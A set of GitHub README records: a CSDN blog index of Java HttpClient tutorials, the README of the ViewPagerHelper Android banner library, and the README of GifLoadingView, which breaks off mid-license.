<br/>[轻松把玩HttpClient](http://blog.csdn.net/column/details/httpclient-arron.html)<br/>介绍如何使用HttpClient,通过一些简单示例,来帮助初学者快速入手。<br/>同时提供了一个非常强大的工具类,比现在网络上分享的都强大:<br/>支持插件式设置header、代理、ssl等配置信息,支持携带Cookie的操作,支持http的各种方法,支持上传、下载等功能。 ---|--- --- # 最新更新文章 ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(九),添加多文件上传功能](http://blog.csdn.net/xiaoxian8023/article/details/53065507) ``` 在Git上有人给我提Issue,说怎么上传文件,其实我一开始就想上这个功能,不过这半年比较忙,所以一直耽搁了。 这次正好没什么任务了,赶紧完成这个功能。毕竟作为一款工具类,有基本的请求和下载功能,就差上... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(八),优化启用Http连接池策略](http://blog.csdn.net/xiaoxian8023/article/details/53064210) ``` 写了HttpClient工具类后,有人一直在问我怎么启用http连接池,其实我没考虑过这个问题难过。 不过闲暇的时候,突然间想起了这个问题,就想把这个问题搞一搞。 ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(七),新增验证码识别功能](http://blog.csdn.net/xiaoxian8023/article/details/51606865) ``` 这个HttpClientUtil工具类分享在GitHub上已经半年多的时间了,并且得到了不小的关注,有25颗star,被fork了38次。 有了大家的鼓励,工具类一直也在完善中。最近比较忙,两个多月前的修改在今天刚修改测试完成,今天再次分享给大家。 验证码识别这项技术并不是本工具类的功能,而是通过一个开源的api来识别验证码的。 这里做了一个简单的封装,主要是用来解决登陆时的验证码的问题。... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(六),封装输入参数,简化工具类](http://blog.csdn.net/xiaoxian8023/article/details/50768320) ``` 在写这个工具类的时候发现传入的参数太多,以至于方法泛滥,只一个send方法就有30多个, 所以对工具类进行了优化,把输入参数封装在一个对象里,这样以后再扩展输入参数,直接修改这个类就ok了。 ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(五),携带Cookie的请求](http://blog.csdn.net/xiaoxian8023/article/details/50474987) ``` 最近更新了一下HttpClientUtil工具类代码,主要是添加了一个参数HttpContext,这个是用来干嘛的呢? 其实是用来保存和传递Cookie所需要的。因为我们有很多时候都需要登录,然后才能请求一些想要的数据。 而在这以前使用HttpClientUtil工具类,还不能办到。现在更新了以后,终于可以了。 先说一下思路:本次的demo,就是获取csdn中的c币,要想获取c币,必须先登... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpAsyncClient之模拟post请求示例](http://blog.csdn.net/xiaoxian8023/article/details/49949813) ``` 如果看到过我前些天写过的《轻松把玩HttpClient之模拟post请求示例》这篇文章,你再看本文就是小菜一碟了,如果你顺便懂一些NIO,基本上是毫无压力了。 因为HttpAsyncClient相对于HttpClient,就多了一个NIO,这也是为什么支持异步的原因。 不过我有一个疑问,虽说NIO是同步非阻塞IO,但是HttpAsyncClient提供了回调的机制, 这点儿跟netty很像,所以可以模拟... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(四),单线程调用及多线程批量调用测试](http://blog.csdn.net/xiaoxian8023/article/details/49910885) ``` 本文主要来分享一下该工具类的测试结果。工具类的整体源码不再单独分享,源码基本上都已经在文章中了。 开始我们的测试。单线程调用测试: public static void testOne() throws HttpProcessException{ System.out.println("--------简单方式调用(默认post)--------"); String url = "http://... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(三),插件式配置Header](http://blog.csdn.net/xiaoxian8023/article/details/49910127) ``` 上篇文章介绍了插件式配置HttpClient,本文将介绍插件式配置Header。为什么要配置header在前面已经提到了,还里再简单说一下, 要使用HttpClient模拟请求,去访问各种接口或者网站资源,都有可能有各种限制, 比如说java客户端模拟访问csdn博客,就必须设置User-Agent,否则就报错了。 还有各种其他情况,必须的设置一些特定的Header,才能请求成功,或者才能不出问题。好了... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(二),插件式配置HttpClient对象](http://blog.csdn.net/xiaoxian8023/article/details/49909359) ``` 上一篇文章中,简单分享一下封装HttpClient工具类的思路及部分代码,本文将分享如何实现插件式配置HttpClient对象。 如果你看过我前面的几篇关于HttpClient的文章或者官网示例,应该都知道HttpClient对象在创建时,都可以设置各种参数, 但是却没有简单的进行封装,比如对我来说比较重要的3个: 代理、ssl(包含绕过证书验证和自定义证书验证)、超时。还需要自己写。 所以这里我就简单封... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之封装HttpClient工具类(一)(现有网上分享中的最强大的工具类)](http://blog.csdn.net/xiaoxian8023/article/details/49883113) ``` 搜了一下网络上别人封装的HttpClient,大部分特别简单,有一些看起来比较高级,但是用起来都不怎么好用。 调用关系不清楚,结构有点混乱。所以也就萌生了自己封装HttpClient工具类的想法。 要做就做最好的,本工具类支持插件式配置Header、插件式配置httpclient对象, 这样就可以方便地自定义header信息、配置ssl、配置proxy等。是不是觉得说的有点悬乎了,那就先看看调用吧:... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之设置代理,可以访问FaceBook](http://blog.csdn.net/xiaoxian8023/article/details/49867257) ``` 前面的文章介绍了一些HttpClient的简单示例,本文继续采用示例的方式来演示HttpClient的功能。 在项目中我们可能会遇到这样的情况:为了保证系统的安全性,只允许使用特定的代理才可以访问, 而与这些系统使用HttpClient进行交互时,只能为其配置代理。 这里我们使用gogent代理访问脸书来模拟这种情况。现在在浏览器上访问是可以访问的:... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之配置ssl,采用设置信任自签名证书实现https](http://blog.csdn.net/xiaoxian8023/article/details/49866397) ``` 在上篇文章《HttpClient配置ssl实现https简单示例——绕过证书验证》中简单分享了一下如何绕过证书验证。 如果你想用httpclient访问一个网站,但是对方的证书没有通过ca认证或者其他问题导致证书不被信任, 比如12306的证书就是这样的。所以对于这样的情况,你只能是选择绕过证书验证的方案了。 但是,如果是自己用jdk或者其他工具生成的证书,还是希望用其他方式认证自签名的证书,这篇文... ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之配置ssl,采用绕过证书验证实现https](http://blog.csdn.net/xiaoxian8023/article/details/49865335) ``` 上篇文章说道httpclient不能直接访问https的资源,这次就来模拟一下环境,然后配置https测试一下。 在前面的文章中,分享了一篇自己生成并在tomcat中配置ssl的文章《Tomcat配置SSL》,大家可以据此来在本地配置https。 我已经配置好了,效果是这样滴: 可以看到已经信任该证书(显示浅绿色小锁),浏览器可以正常访问。现在我们用代码测试一下: ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [轻松把玩HttpClient之模拟post请求示例](http://blog.csdn.net/xiaoxian8023/article/details/49863967) ``` HttpClient 是 Apache Jakarta Common 下的子项目,可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包,并且它支持 HTTP 协议最新的版本和建议。 许多需要后台模拟请求的系统或者框架都用的是httpclient。所以作为一个java开发人员,有必要学一学。 本文提供了一个简单的demo,供初学者参考。 ``` ## ![image](http://static.blog.csdn.net/images/icon-zhuanjia.gif "专家") [简单的利用UrlConnection,后台模拟http请求](http://blog.csdn.net/xiaoxian8023/article/details/49785417) ``` 这两天在整理看httpclient,然后想自己用UrlConnection后台模拟实现Http请求,于是一个简单的小例子就新鲜出炉了(支持代理哦): public class SimpleHttpTest { public static String send(String urlStr, Map map,String encoding){ String body=""; Strin... ```
0
LillteZheng/ViewPagerHelper
这个一个 viewpager/viewpager2工具类,能够帮你快速实现导航栏轮播图,app引导页,viewpager/viewpager2 + fragment;内置多种tab指示器,让你告别 viewpager 的繁琐操作,专注逻辑功能
2017-11-12T10:07:27Z
null
你是否有遇到这样的问题,每次开发一个新的项目,在 viewpager 这一块上,总是在做重复的东西,比如app引导页,轮播图, viewpager+fragment 的 tab 指示器等等,这些虽然简单,但却是每个app都要的,而且很耗时,有没有每次在写这个,都很无语的感觉呢? 基于这个,ViewPagerHleper 就诞生了,它可以快速帮你搞定 banner 轮播图,实现高级定制化,内置多种指示器,满足你的日常需求,妈妈再也不用担心我不会复制粘贴了。 [![](https://jitpack.io/v/LillteZheng/ViewPagerHelper.svg)](https://jitpack.io/#LillteZheng/ViewPagerHelpe) ![](https://img.shields.io/github/stars/LillteZheng/ViewPagerHelper.svg) ![](https://img.shields.io/github/forks/LillteZheng/ViewPagerHelper.svg) [![](https://img.shields.io/badge/%E4%BD%9C%E8%80%85-%E9%83%91%E5%B0%91%E9%94%90-green.svg)](https://blog.csdn.net/u011418943) **工程实际使用 - 玩Android 客户端 : https://github.com/LillteZheng/WanAndroid** **注意注意注意!!!** **提问题的时候,请遵循以下标准** - **现象: 操作步骤,应用场景** - **对应代码: 贴图或者贴代码** - **机型或版本: 可选** **后面对描述不清的问题,不予理会,精力有限,感谢理解** 详细内容可以参考这篇博客: http://blog.csdn.net/u011418943/article/details/78493002 ## **使用** 这里用的是 jitpack 这个网站,所以: ``` allprojects { repositories { ... maven { url 'https://jitpack.io' } } } ``` 然后在你的 module 中添加: ``` implementation 'com.github.LillteZheng.ViewPagerHelper:viewpagerlib:v2.9' ``` **如果你使用 androidx 也想要使用 ViewPager2,可以添加 androidx 库** ``` implementation 'com.github.LillteZheng.ViewPagerHelper:viewpagerlibx:v2.9' ``` > ViewPager2 使用的是 BannerViewPager2 这个类,只支持横向的 ViewPager2,竖直的后面有时间再搞 > 使用与 BannerViewPageer 一样,只是多了 **banner2_l_margin和banner2_r_margin**,或者**setMzMargin()** > 去设置一屏多页(魅族)的效果。 ## **效果图** 首先,大家最常用到的就是轮播图了,这里给大家提供了 常用的 Indicator ### **轮播图** <table align="center"> <tr> <th>文字效果</th> <th>扇形效果</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/loop_text.gif" align="left" height="200" width="340" ></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/loop_arc.gif" align="left" height="200" width="340" ></a></td> </tr> </table> <table align="center"> <tr> <th>CircleIndicator</th> <th>RectIndicator</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/circleindicator.gif" align="left" height="600" width="350"></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/rectindicator.gif" align="left" height="600" width="350" ></a></td> </tr> </table> <table align="center"> <tr> <th>图片放大效果</th> <th>卡片效果</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/scale.gif" align="left" height="480" width="340"></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/card.gif" align="left" height="480" width="340" ></a></td> </tr> </table> **跟多说明请参考** [轮播使用说明](https://github.com/LillteZheng/ViewPagerHelper/blob/master/README_Banner.md) ## ~~Tab指示器~~ > TabIndicator 已经不再维护;推荐大家使用新库:https://github.com/LillteZheng/FlowHelper 支持更多效果,功能更强大,且支持自己自定义 <table align="center"> <tr> <th>三角形版本</th> <th>条形状版本</th> <th>文字颜色渐变方式,加了滚动效果</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/tri.gif" align="left" height="480" width="340"></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/rect2.gif" align="left" height="480" width="340" ></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/color.gif" align="left" height="480" width="340" ></a></td> </tr> </table> **https://github.com/LillteZheng/FlowHelper 的效果如下:** <table align="center"> <tr> <th>没有结合ViewPager</th> <th>结合ViewPager</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/FlowHelper/raw/master/gif/tab_click.gif" align="left"height="789" width="479"></a></td> <td><a href="url"><img src="https://github.com/LillteZheng/FlowHelper/raw/master/gif/tab_viewpager.gif" align="left" height="789" width="479" ></a></td> </tr> </table> [Tab指示器使用说明](https://github.com/LillteZheng/ViewPagerHelper/blob/master/README_TAB.md) ## **弧形图片,支持高斯模糊** <table align="center"> <tr> <th>弧形图片</th> </tr> <tr> <td><a href="url"><img src="https://github.com/LillteZheng/ViewPagerHelper/raw/master/gif/arc.png" align="left" height="480" width="340"></a></td> </tr> </table> ## 版本说明 **v2.9** - 添加 Androidx lib,支持viewpager2 - 修复card mode 快速滑报错问题 **v2.7** - 处理设置 setCurrentPosition 的问题 **v2.6** - 处理刷新时,indicator 成倍增加,以及动画和位置不是从头再来的问题 **v2.1** - 大改动,去掉了之前很多无用代码和逻辑 - Indicator 效果全部统一到了 CircleIndicator 和 RectIndicator,其他的去掉 - BannerViewPager 增加 setCurrentPosition(int page) 默认选中第几页方法 - BannerViewPager 修复和 Recyclerview 结合,移除窗口后回来,滚动失败的问题 **v1.9** - 处理TabIndicator第一次没加载数据报错和优化部分代码 **v1.8** - 修改ArcImageView - 增加缩放因子 - 增加缩放中心点坐标 **v1.7** - 修改ArcImageView - arcHeight 支持负数,凹进去,方便在user界面使用 - 增加高斯模糊,arc_blur ,对应参数0到25 - 支持使用背景色,采用arc_use_color **v1.6** - ArcImageView 去掉scaleType中的 matrix 属性 **v1.5** - 修改了BannerViewpager 的一些自定说明,避免歧义,小伙伴记得更新呀 - 自定义控件,全部增加动态设置参数接口,写得好累啊 - BannerViewpager 增加了卡片式布局的效果 - 优化Readme说明 **其他版本** - **v1.4 --> 添加ScaleImageView可缩放控件,可支持在viewpager等滑动控件中使用** - **v1.3 --> TabIndicator 支持滚动,app:tab_iscanscroll 默认true滚动,可设置不滚动** - **v0.9 --> 处理第一次轮播图 index 不对问题,优化代码** - **v0.8 --> 退出时自动关轮播,isOutVisiableWindow()方法,用于有滚动时,判断是否停止轮播** - **v0.5 --> 增加 banner_loop_max_count 变量,当数据大于这个数值时,才会填充多个数据和轮播** - **v0.4 --> 解决app引导页,快速滑动时,“立即体验”按钮会不显示问题,并修改自定义属性,防止干扰** - **v0.3 --> 从lib中移除glide的依赖,防止干扰其他项目,去掉和优化一些代码,谢谢各位的提醒** - **v0.2 --> 修复TabIndicator的宽度,不是 match_parent时,通过SetTabData添加数据,却显示不全的问题** - **v0.1 --> 发布稳定版** ## QQ群 为方便大家交流,创建了一个qq群,群号216618259 <img src="https://img-blog.csdnimg.cn/20210518100138264.jpeg?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3UwMTE0MTg5NDM=,size_16,color_FFFFFF,t_70#pic_center" height="320" width="240"> ## 如果该项目对您有帮助,赞赏一下吧 ^_^ <img src="https://github.com/LillteZheng/FlowHelper/raw/master/gif/wechat.png" height="320" width="240"> 下面可以看一下自定义的属性,方便大家在用的时候调用: **一些自定义属性:** **BannerViewPager** | 名称 | 类型 |说明 | |---|---|---| |banner_isAutoLoop|boolean|是否自动轮播| |banner_looptime|integer|轮播的时间| |banner_switchtime|integer|viewpager的切换速度| |banner_loop_max_count|integer|超过这个数字时,才会轮播效果| |banner_card_height|integer,dimension|卡片的高度| |banner_iscycle|boolean|是否循环| |banner_transformer|card,mz,zoom,depath|transformer的效果| |banner2_l_margin|dimension|Viewpager2专属,左边偏移量| |banner2_r_margin|dimension|Viewpager2专属,右边偏移量| **CircleIndicator** | 名称 | 类型 |说明 | |---|---|---| |cir_type|integer|效果,支持3中,normal、cirToRect、scale| |cir_normalColor|color|默认的颜色| |cir_selectedColor|color|选中时的颜色| |cir_horizon_margin|dimension|两个小圆球的距离| |cir_size|dimension|小球的大小| |cir_rect_width|dimension|当type为 cirToRect时,矩形的宽度| |cir_scale_factor|float|当type 为scale,放大倍数| |cir_canMove|boolean|是否可移动,默认支持移动| **RectIndicator** | 名称 | 类型 |说明 | |---|---|---| |rect_normalColor|color|默认的颜色| |rect_selectedColor|color|选中时的颜色| |rect_horizon_margin|dimension|两个矩形的距离| |rect_width|dimension|矩形的宽度| |rect_height|dimension|矩形的高度| |rect_round_size|dimension|矩形的圆角| |rect_canMove|boolean|是否可移动,默认支持移动| **TextIndicator** 其实就是一个 textview ,自己配置大小颜色和背景即可 **弧形图片 ArcImageView** | 名称 | 类型 |说明 | |---|---|---| |arc_height|dimension|弧度的高度| |arc_blur|integer|图片的模糊度,0到25| |arc_use_color|color,reference|是否使用背景色| |arc_scaleX|dimension|缩放中心点X方向| |arc_scaleY|dimension|缩放中心点Y方向| |arc_scaleFactor|float|缩放比例| |arc_auto_fix|boolean|自动适配大小,如果用glide,可以忽略,默认为true| **顶部viewpager指示器 TabIndicator** | 名称 | 类型 |说明 | |---|---|---| |visiabel_size|integer|可视化个数,比如有一排,我们就只要显示4个| |tab_color|color,reference|指示器的颜色| |tab_show|boolean|是否显示指示器| |tab_text_type|normaltext,colortext|顶部文字的类型,nromaltext为普通的textview,corlortext为文件渐变| |tab_width|dimension|指示器的宽度| |tab_height|dimension|指示器的高度| |tab_textsize|dimension|顶部文字的大小| |tab_text_default_color|color,reference|顶部文字默认的颜色| |tab_text_change_color|color,reference|移动时,顶部文字的颜色| |tap_type|tri,rect|指示器类型,有三角形或者圆条| |tab_iscanscroll|boolean|指示器是否支持滚动| **渐变文字 ColorTextVIew** | 名称 | 类型 |说明 | |---|---|---| |colortext_size|dimension|文字大小| |colortext_default_color|reference,color|默认颜色| |colortext_change_color|reference,color|渐变颜色| **缩放控件 ScaleImageView** | 名称 | 类型 |说明 | |---|---|---| |scale_auto_time|reference,integer|双击时,达到放大的时间| |scale_limit_board|boolean|是否限制边界,即不能缩放到比控件小| |scale_autofit|boolean|自动适配缩放值,有些图片是正方形,如果你的高度没设定好,建议设置为false,不能会变形| |scale_double_factor|integer|双击时放大倍数| |scale_max_factor|integer|可放大的最大倍数| |scale_interrupt_parent_touch|boolean|是否截获父控件触摸事件,放大时,需要截取,不然无法移动| 如果你有想要的效果,而本项目中没有的,你可以在 issue 中提出来,作者看到了,会抽空去实现的, 如果有发现问题了或者需要提供哪些接口出来,也可以在 issue 中提出来。当然,喜欢请 start 或 fork 来一波。 代码是最好的老师,可以download,改成自己喜欢的。
0
Rogero0o/GifLoadingView
Some loading GIF .
2016-04-29T02:58:10Z
null
# Android GifLoadingView This project idea is from [Link](http://mp.weixin.qq.com/s?__biz=MjM5MDMxOTE5NA==&mid=402703079&idx=2&sn=2fcc6746a866dcc003c68ead9b68e595&scene=2&srcid=0302A7p723KK8E5gSzLKb2ZL&from=timeline&isappinstalled=0#wechat_redirect) .<br> Thanks for the idea.<br> I like all the animation in that webpage , but it's so hard to develop all of them .<br> Finally , i find this way , it's simple , but it work perfect. ## Look like ### Season one Idea from [Link](http://mp.weixin.qq.com/s?__biz=MjM5MDMxOTE5NA==&mid=402703079&idx=2&sn=2fcc6746a866dcc003c68ead9b68e595&scene=2&srcid=0302A7p723KK8E5gSzLKb2ZL&from=timeline&isappinstalled=0#wechat_redirect) .<br> ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3deysrt4gg204s04x17r.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deytb648g204s04xwqe.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deytpvo0g204s04x450.gif) <br> ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deyu5713g204s04x41t.gif) ![](http://ww2.sinaimg.cn/small/a695acdegw1f3deyvbpwag204s04x10j.gif) ![](http://ww2.sinaimg.cn/small/a695acdegw1f3deyvlh57g204s04xq92.gif) <br> ![](http://ww4.sinaimg.cn/small/a695acdegw1f3deyvx9yjg204s04x43s.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deywqb29g204s04xjsz.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deyx4nbvg204s04xn44.gif) <br> ![](http://ww4.sinaimg.cn/small/a695acdegw1f3deyxq1s8g204s04xgrr.gif) ![](http://ww4.sinaimg.cn/small/a695acdegw1f3deyyj813g204s04xgsg.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3deyyipfsg204s04xju2.gif) <br> ![](http://ww2.sinaimg.cn/small/a695acdegw1f3deyz8qb3g204s04xmys.gif) ![](http://ww2.sinaimg.cn/small/a695acdegw1f3deyzpcg3g204s04x48v.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3dez0fsw9g204s04x7ac.gif) <br> ![](http://ww1.sinaimg.cn/small/a695acdegw1f3dez0v58lg204s04x42i.gif) ![](http://ww4.sinaimg.cn/small/a695acdegw1f3dez17cw8g204s04x79g.gif) ![](http://ww4.sinaimg.cn/small/a695acdegw1f3dez207qug204s04xnad.gif) <br> ![](http://ww2.sinaimg.cn/small/a695acdegw1f3dez2ua1vg204s04xdo4.gif) ![](http://ww3.sinaimg.cn/small/a695acdegw1f3dez39ag4g204s04x0y8.gif) ![](http://ww1.sinaimg.cn/small/a695acdegw1f3dez3skp2g204s04x41g.gif) <br> ### Season two Idea from [Link](http://weibo.com/uidesign?from=myfollow_all&is_all=1) .<br> ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacfm7wcg204r04kq8a.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacg135gg204r04k0ut.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacgk5s5g204r04kdml.gif) <br> ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacgx2h9g204r04kgog.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qachev6zg204r04kn10.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qachtmkkg204r04k0uo.gif) <br> ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacikeaag204r04kaig.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacj3cbpg204r04k45j.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacjwog0g204r04k7fb.gif) <br> ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qackcx8cg204r04k0yu.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacl0fucg204r04j437.gif) ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacloga5g204r04kajx.gif) <br> ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacmmdmwg204r04jgw6.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacn57x2g204r04kwlg.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qaco4r8jg204r04j0w6.gif) <br> ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacot371g204r04kqb1.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacpgwzdg204r04k7d1.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacq07ulg204r04kdlb.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacr0l1ig204r04kh8p.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacrr3g8g204r04jqej.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacshw68g204r04kaed.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qact37ntg204r04kadk.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qactokt2g204r04ktdg.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacuc8psg204r04k0ww.gif) <br> ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qacv0akgg204r04jjx0.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qacvkmusg204r04kn1e.gif) ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacwcj0ag204r04kafo.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacwx8zyg204r04k7ax.gif) ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qacxxhj2g204r04kk0k.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qacylovbg204r04kk1w.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qaczjtrcg204r04kqeg.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qad0jic7g204r04kam0.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qad15mq7g204r04ktlf.gif) <br> ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qad1xt11g204r04k4cj.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qad2kvsbg204r04kjxd.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qad3f6hwg204r04ktn8.gif) <br> ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qad40ldgg204r04kjvt.gif) ![](http://ww1.sinaimg.cn/mw690/a695acdegw1f3qad4nqpkg204r04kn2j.gif) ![](http://ww3.sinaimg.cn/mw690/a695acdegw1f3qad5br7eg204r04k45a.gif) <br> ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qad6119eg204r04ktf4.gif) ![](http://ww4.sinaimg.cn/mw690/a695acdegw1f3qad6m822g204r04k0xs.gif) ![](http://ww2.sinaimg.cn/mw690/a695acdegw1f3qad78qzig204r04kgt9.gif) <br> ### Season Three Idea from [Link](http://weibo.com/uidesign?from=myfollow_all&is_all=1) .<br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num66.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num67.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num68.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num69.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num70.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num71.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num72.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num73.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num74.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num75.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num76.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num77.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num78.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num79.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num80.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num81.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num82.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num83.gif" width="171" height="164" /> <br> <img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num84.gif" width="171" height="164" /><img src="https://raw.githubusercontent.com/Rogero0o/GifLoadingView/master/sample/src/main/res/drawable-hdpi/num85.gif" width="171" height="164" /> <br> ..as you see right now,wish you like it. ### Step Import this project into android studio..it's build with it. ### Usage #### Gradle ``` compile 'com.roger.gifloadinglibrary:gifloadinglibrary:1.1.1' ``` #### config in java code private GifLoadingView mGifLoadingView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); mGifLoadingView = new GifLoadingView(); findViewById(R.id.button).setOnClickListener( new View.OnClickListener() { @Override public void onClick(View v) { mGifLoadingView.setImageResource(R.drawable.image); mGifLoadingView.show(getFragmentManager()); } }); } ## Dependencies This project use this libraries ~ Thanks to them. [android-gif-drawable](https://github.com/koral--/android-gif-drawable) <br> [BlurDialogFragment](https://github.com/tvbarthel/BlurDialogFragment) ## TODO This view is adjust in Nexue5 but not test in the other size screen . ## About me A small guy in mainland FUJIAN China. If you have any new idea about this project, feel free to tell me ,Tks. :smiley: ## License The MIT License (MIT) Copyright © 2015 Roger Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the 